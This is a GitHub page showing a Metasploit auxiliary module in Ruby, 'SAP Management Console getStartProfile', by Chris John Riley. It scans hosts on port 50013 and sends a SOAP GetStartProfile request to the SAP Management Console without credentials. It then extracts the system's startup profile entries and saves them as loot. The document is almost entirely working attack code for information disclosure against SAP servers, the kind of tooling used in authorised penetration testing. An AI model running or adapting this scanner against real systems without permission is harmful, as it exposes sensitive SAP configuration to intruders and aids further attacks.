-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
sap_mgmt_con_startprofile.rb
143 lines (124 loc) · 3.88 KB
/
sap_mgmt_con_startprofile.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'SAP Management Console getStartProfile',
'Description' => %q{
This module simply attempts to access the SAP startup profile
through the SAP Management Console SOAP Interface.
},
'References' =>
[
# General
[ 'URL', 'https://blog.c22.cc' ]
],
'Author' => [ 'Chris John Riley' ],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(50013),
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
])
register_autofilter_ports([ 50013 ])
end
def run_host(ip)
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'GET'
}, 25)
if not res
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
return
end
get_start_profile(ip)
end
def get_start_profile(rhost)
print_status("#{rhost}:#{rport} [SAP] Connecting to SAP Management Console SOAP Interface")
success = false
soapenv ='http://schemas.xmlsoap.org/soap/envelope/'
xsi ='http://www.w3.org/2001/XMLSchema-instance'
xs ='http://www.w3.org/2001/XMLSchema'
sapsess ='http://www.sap.com/webas/630/soap/features/session/'
ns1 ='ns1:GetStartProfile'
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
data << '<SOAP-ENV:Header>' + "\r\n"
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
data << '<enableSession>true</enableSession>' + "\r\n"
data << '</sapsess:Session>' + "\r\n"
data << '</SOAP-ENV:Header>' + "\r\n"
data << '<SOAP-ENV:Body>' + "\r\n"
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
data << '</SOAP-ENV:Body>' + "\r\n"
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
begin
res = send_request_raw({
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Length' => data.length,
'SOAPAction' => '""',
'Content-Type' => 'text/xml; charset=UTF-8',
}
}, 15)
env = []
if res and res.code == 200
case res.body
when nil
# Nothing
when /<name>([^<]+)<\/name>/i
name = $1.strip
success = true
end
case res.body
when nil
# Nothing
when /<item>([^<]+)<\/item>/i
body = []
body = res.body
env = body.scan(/<item>([^<]+)<\/item>/i)
success = true
end
elsif res and res.code == 500
case res.body
when /<faultstring>(.*)<\/faultstring>/i
faultcode = $1.strip
fault = true
end
end
rescue ::Rex::ConnectionError
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
return
end
if success
print_good("#{rhost}:#{rport} [SAP] Startup Profile Extracted: #{name}")
f = store_loot(
"sap.profile",
"text/xml",
rhost,
res.body,
"sap_profile.xml",
"SAP Profile XML"
)
vprint_status("Response stored in: #{f}")
env.each do |output|
print_status("#{output[0]}")
end
elsif fault
print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}")
return
else
print_error("#{rhost}:#{rport} [SAP] failed to request environment")
return
end
end
end